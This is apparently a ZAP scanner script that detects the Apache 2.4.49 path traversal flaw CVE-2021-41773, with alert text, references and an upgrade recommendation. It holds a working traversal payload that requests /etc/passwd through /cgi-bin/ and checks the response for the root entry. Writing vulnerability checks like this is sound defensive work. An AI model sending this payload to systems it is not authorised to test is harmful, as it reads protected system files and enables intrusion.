/**
 * Scan rule for Apache 2.4.49 path traversal CVE-2021-41773.
 * Based on: https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse
 */

var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender");
var HistoryReference = Java.type("org.parosproxy.paros.model.HistoryReference");
var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader");
var ExtensionAlert = Java.type(
  "org.zaproxy.zap.extension.alert.ExtensionAlert"
);
var session = model.getSession();

// Print Statements using script name
function logger() {
  print("[" + this["zap.script.name"] + "] " + arguments[0]);
}

/**
 * A function which will be invoked against a specific "targeted" message.
 *
 * @param msg - the HTTP message being acted upon. This is an HttpMessage object.
 */
function invokeWith(msg) {
  var url = msg.getRequestHeader().getURI().toString();
  var alertName = "Apache Path Traversal - CVE-2021-41773";
  var alertDesc =
    "[CVE-2021-41773]\nA flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. " +
    "An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside " +
    'of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could ' +
    "leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only " +
    "affects Apache 2.4.49 and not earlier versions.";
  var alertSol = "Upgrade to Apache 2.4.50 or newer.";
  var alertReference =
    "https://httpd.apache.org/security/vulnerabilities_24.html\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-41773";
  var cweId = 22; // Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  var wascId = 33; // Path Traversal

  var attackPath = "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd";

  // To check if script is running
  logger("Testing Script against URL - " + url);

  msg.getRequestHeader().getURI().setEscapedPath(attackPath);
  var sender = new HttpSender(HttpSender.MANUAL_REQUEST_INITIATOR);
  sender.sendAndReceive(msg);
  var status = msg.getResponseHeader().getStatusCode();
  var rebody = msg.getResponseBody().toString();
  var re = /root\:x\:0\:0\:root/g;

  // Checks to make sure that the response indicates the test was successful
  if (status === 200 && re.test(rebody)) {
    re.lastIndex = 0;
    var alertEvidence = re.exec(rebody);
    customAlert(
      3, // risk: 0: info, 1: low, 2: medium, 3: high
      3, // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed
      alertName,
      alertDesc,
      attackPath,
      alertEvidence,
      alertSol,
      alertReference,
      cweId,
      wascId,
      msg,
      url
    );
  }
  logger("Script run completed.");
}

/**
 * Raise an alert.
 * @see https://www.javadoc.io/doc/org.zaproxy/zap/latest/org/parosproxy/paros/core/scanner/Alert.html
 */
function customAlert(
  alertRisk,
  alertConfidence,
  alertName,
  alertDesc,
  alertAttack,
  alertEvidence,
  alertSol,
  alertReference,
  cweId,
  wascId,
  msg,
  url
) {
  var extensionAlert = control
    .getExtensionLoader()
    .getExtension(ExtensionAlert.NAME);
  var ref = new HistoryReference(session, HistoryReference.TYPE_ZAP_USER, msg);

  var alert = new org.parosproxy.paros.core.scanner.Alert(
    -1,
    alertRisk,
    alertConfidence,
    alertName
  );
  alert.setDescription(alertDesc);
  alert.setAttack(alertAttack);
  alert.setEvidence(alertEvidence);
  alert.setSolution(alertSol);
  alert.setReference(alertReference);
  alert.setCweId(cweId);
  alert.setWascId(wascId);
  alert.setMessage(msg);
  alert.setUri(url);

  extensionAlert.alertFound(alert, ref);
}
